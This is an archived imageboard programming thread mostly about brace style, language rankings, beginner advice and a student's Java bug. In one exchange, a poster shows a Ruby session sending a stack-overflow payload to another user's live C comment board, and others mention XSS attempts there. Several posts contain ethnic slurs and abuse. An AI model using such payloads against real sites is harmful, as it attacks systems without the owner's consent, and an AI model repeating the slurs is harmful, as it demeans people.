/dpt/ - Daily Programming Thread

This is /dpt/, the best subreddit of Sup Forums

Umaru-chan edition, the best of all editions.

In this thread:
r/programming
r/compsci
r/ReverseEngineering
r/softwaredevelopment

code of conduct:
no racism
no insult
no sexual harassment
no gender discrimination

wat r u working on, user-chan ?

Other urls found in this thread:

45.32.93.98/board.cgi
seas.upenn.edu/~cis194/spring13/lectures.html
docs.oracle.com/javase/tutorial/
thedailywtf.com/articles/A_Case_of_the_MUMPS
twitter.com/NSFWRedditVideo

I just made my first CGI script in C.
It's a comment board!

45.32.93.98/board.cgi
Please try it out and don't break it pls.

First for Racket

Third for this thread was posted too early

Is it better to do

if()
{
}

Or

if() {
}
?
What do most companies prefer?

the second one

C# uses the first one though so that it won't look too much like java

Most companies prefer B.

Companies prefer being flexible enough to adapt to whatever standard they tell you to adopt. There's probably going to be more rules than curly brackets.

But isn't A easier to see and debug?

Everything is easy in Python(tm)
import tkinter as tk
import qrcode as qr
import sys

root = tk.Tk();

root.withdraw();

image = qr.make(root.clipboard_get())
image.save(sys.argv[1])

Second is better because of how most editors implement code folding, where it hides the lines starting at the one after the opening bracket, and ending at the one with the closing bracket.

So if() {
}


becomes
if() {


whereas
if()
{
}


becomes

if()
{


I think the latter looks silly and wastes space.

Alright, makes sense. Thanks ;)

Actually it isn't, consider a 3-level block of code:
function Foo()
{
if()
{
if()
{
}
}
}


Look how easy it is to see where things end and start.

C++ >>>>>>>> java >>>>>>>> C# >>>>>>>> D >>>>>>>> rust >>>>>>>> go >>>>>>>> C >>>>>>>> python >>>>>>>> javascript >>>>>>>> php >>>>>>>> lisp >>>>>>>> haskell

There, I deposited your 500 rupees of the day, Pajeet Panaymandha

#ProgrammerLife

yep, style guides and coding standards for each language. the bigger the company, the more rigid and exhaustive the guides.

I use whatever the gofmt tool wants me to use

If anything, I adapt the Airbnb guidelines to my code in whatever the language I'm in.

Why did you have to use so many larger-than symbols between each entry in your tier listing?

Nobody should accept the parenthesis next to the keyword without a tasteful space between
if (...) {
...
}

There's 88 ">" in there, convert 88 USD to Rupees, and you get around 500.

Because you overload >> in C++ to read from stdin

""""""""larger-than symbols""""""""

>not even 5 minutes and some guy is trying to XSS my ass with embedded script tags

i hate you people

((((((((((((extremely jewish))))))))))))

Actually it's been 26 minutes, user


also I almost got embedded images to work before you took the site down

bound it to alt+q with .i3/config and a 2line bash ""script""

How were you doing that?

Nice blog

is there a way to turn off info file generation when building gcc/binutils

good god i fucking hate texinfo

>go >>>>>>>> C++, java, C#, D, rust, C, python, javascript, php, lisp, haskell
FTFY

if expr
then expr
else expr

Tell me, did your server randomly call exit()?

rubyist@Overmind:~/scratch$ ./a.out
address of exit: 0x400460
rubyist@Overmind:~/scratch$ irb
irb(main):001:0> require "net/http"
=> true
irb(main):002:0> msg = ("A" * 250) + "\x60\x04\x40\x00"
=> "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`\u0004@\u0000"
irb(main):003:0> require "uri"
=> false
irb(main):004:0> uri = URI.parse("45.32.93.98/board.cgi")
=> #
irb(main):005:0> response = Net::HTTP.post_form(uri, { "Submit" => msg })
Net::OpenTimeout: execution expired
from /usr/lib/ruby/2.3.0/net/http.rb:880:in `initialize'
from /usr/lib/ruby/2.3.0/net/http.rb:880:in `open'
from /usr/lib/ruby/2.3.0/net/http.rb:880:in `block in connect'
from /usr/lib/ruby/2.3.0/timeout.rb:101:in `timeout'
from /usr/lib/ruby/2.3.0/net/http.rb:878:in `connect'
from /usr/lib/ruby/2.3.0/net/http.rb:863:in `do_start'
from /usr/lib/ruby/2.3.0/net/http.rb:852:in `start'
from /usr/lib/ruby/2.3.0/net/http.rb:584:in `start'
from /usr/lib/ruby/2.3.0/net/http.rb:508:in `post_form'
from (irb):5
from /usr/bin/irb:11:in `'

And now it's a Ruby-senpai rapes the newfag episode.

i don't know what made you think that

no

>

It likely didn't do anything. I mean, that virtual address assumes OP is

a.) Using 64-bit Linux
and
b.) Using the same version of libc as me (if he was using something like musl, it might be in a different virtual address).

It would also assume OP has a buffer on the stack of exactly 250 characters, and no other stack variables, thus causing exit to corrupt the return address. That said, I was able to access the site before this, and not after, so I'm curious is OP is a dumbass or something.

he took the site down on his own dood

What is haskell even used for? I'm supposed to learn haskell this semester but i don't see the point.

Haskell is the missing piece of the triad:

JS + Rust + Haskell

For a better programming world!

Smart man.

Absolute beginner here. I know nothing at all.

What's the best language to start with in my adventure?

Before you ask,im doing this for game programming. Go ahead, laugh

Learn C. It's a quick language to learn, and will teach you to program safely. After you master C, it is a breeze to switch to popular game programming languages, like C++, C#, and Java. However, if you learned one of those three first, it might be harder to switch to another. This is because they all derive from C.
You can even do game programming in C itself, but it is a bit harder.

I recommend "C Primer Plus" by Stephen Prata. It starts from the bottom and puts you at a good position, and is an easy read.

>

>Learn C. It's a quick language to learn, and will teach you to program safely.
>C
>safely
heh, wat

I recommend every beginner to start with C, due to its relative simplicity, along with the fact that it forces the beginner to learn a little bit about how computers actually work, rather than letting a runtime manage most things. After that, it goes onto whatever is relevant to your field of interest. For game development, C++ and Lua are rather popular. C++ will be easier if you already know C, but you should make sure not to delude yourself into thinking they're the same language. C++ is not a strict superset of C, and there are many ways in C++ to approach a problem more efficiently than one would in C, by leveraging work done at compile time (i.e. RAII, templates).

I second this user's recommendation of C Primer Plus.

What edition?

it's a general purpose language, so pretty much everything

get a head start
seas.upenn.edu/~cis194/spring13/lectures.html

You don't learn safety if there are no dangers.

I have been following K&R to learn C but it is hard to stay motivated, I think I need a project to keep me interested. All of my projects before were just simple ones like a python twitter bot (just spams one message) or web scraper. Any interesting projects at a lower skill level that I could write in C? I can't just default to writing something to pull from a webpage this time because it's, well, C.
>inb4 programming isn't for you
I enjoy it a lot, just need to find something fun to write before I get back to K&R.
Any ideas?

The most recent you can get your hands on, of course. The latest edition is available for free online, last I checked.

you have to know that what you are learning is not safe in the first place, and not all books will teach you that...

Thanks user for the help user! Sorry for asking, but what site did you find it on? If anything, ill just use tpb or torrentse

By golly, I think it might be working.

>IDT
That's where I burned out on building an OS. Keep going user, you can do it.

Congratulations!

Game hack bot

people make compilers with it and that's about it

not even serious compilers though, just toy ones as an exercise or for fun

Would be cool. Thanks.

When do you know it's time to "specialize"?
I'm learning python and my goal is to learn all things related to data and how to get it, when do I know I'm ready to start ?

Why do i get an intent error on this?
after i type what i want done it ends the program aka
what do?

start with single player I guess, you will learn about memory, offsets, hooking etc.

1. your indentation is shit
2. you're in highschool

I need to learn more C before I do it but it's quite an exciting goal to look forward to. Excactly what I needed

While those are both true,
that doesnt help me.
What can i do better?
Any tips to become neater or anything?

First of all, stop using Java.
Second, STOP using Java.

And third, STOP USING JAVA.

It'll make your life easier if you learn Rust or C++ instead.

So... let's say that I want to learn how to code. Where should I start?
>inb4 rainbow socks and estrogen

I know, Sup Forums hates java but its my summer assignment. I plan to learn C next, then python.

>those comments
Stop, please. Comments are for explaining parts of code that aren't directly understandable. They are not for literally rewriting obvious lines of code in English.

Im aware, but i do that to get in the habit of writing them.

docs.oracle.com/javase/tutorial/

First order of business is to make comments only when the code you wrote needs one.

See
TL;DR: Learn C, read C Primer Plus.

Pajeet pls

what's the error? show the 'problems' tab

Choice.equals(Multiply)
you're comparing Choice to the Double variable Multiply. You might want to try
Choice.equals("Multiply") instead.

I have no clue, thats my problem.
It runs fine but as soon as you type divide or multiply it just ends the program without an error.

(Also the 953 errors are from when i switched all my old programs over but havent bothered to organize them to their correct folders. Im working on this at the moment)

Kill yourself

tried that, still get the same error

One: Close your shit
Two: Your issue probably lies on line 38 and 47

Rate my UTF-8 converter!
char *utf8_rewrite(char *str)
{
/* %E5%88%9D%E9%9F%B3%E3%83%9F%E3%82%AF => 初音ミク*/
unsigned i, j;
for (i = 0; str[i]; i++)
{
if (str[i] == '%')
{
for (j = 1; j

Isn't C kind of dated? Not trolling btw.

this works fine for me

Scanner s = new Scanner(System.in);
if(s.nextLine().equals("foo")) {
System.out.println("foo");
}

true
learn C++14

LISP and FORTRAN are older, but people still use them.

yes start with java and then learn C++

also see for how good/useful the languages are

almost no one uses them

some people learn lisp with sicp but it's not like they actually end up using lisp for anything serious

Chill out retard, java is the best language

Here's your 450 Rupees, pajeet

There's tons of ancient scientific stuff still in FORTRAN. And the COBOL boogeyman is still extant.

So is MUMPS, a true abomination among languages:
thedailywtf.com/articles/A_Case_of_the_MUMPS

that looks extremely unsafe

Not an argument

C is very old, but it makes up a large amount of code in our infrastructure. If you wanted to, for example, understand how the Python interpreter works, you would need to know C.

There's no need to argue, it's already decided upon, pajeet.

uni teaches cobol for the information systems track. I guess its for people who want to learn it so they can translate it to a more modern language.

C is very easy to pick up if you already know other C-like languages, but i think it's a waste to learn it as your first language, you can pick up java in literally a week, with C there is so much C-specific bullshit and gotchas surrounding it that aren't fundamental to learning programming

Is Crystal a worthwhile replacement to Ruby or a pure meme, or somewhere in between?

>MUMPS

Oh shit...

Appendix 7: An example of "traditional" M coding style

%DTC
%DTC ; SF/XAK - DATE/TIME OPERATIONS ;1/16/92 11:36 AM
;;19.0;VA FileMan;;Jul 14, 1992
D I 'X1!'X2 S X="" Q
S X=X1 D H S X1=%H,X=X2,X2=%Y+1 D H S X=X1-%H,%Y=%Y+1&X2
K %H,X1,X2 Q
;
C S X=X1 Q:'X D H S %H=%H+X2 D YMD S:$P(X1,".",2) X=X_"."_$P(X1,".",2)
K X1,X2 Q
S S %=%#60/100+(%#3600\60)/100+(%\3600)/100 Q
;
H I X2&'(%Y#4)+$P("^31^59^90^120^151^181^212^243^273^304^334","^",%M)+%D
S %='%M!'%D,%Y=%Y-141,%H=%H+(%Y*365)+(%Y\4)-(%Y>59)+%,%Y=$S(%:-
1,1:%H+4#7)

Crystal is still in Alpha, and its standard library has yet to be standardized. Make of it what you will.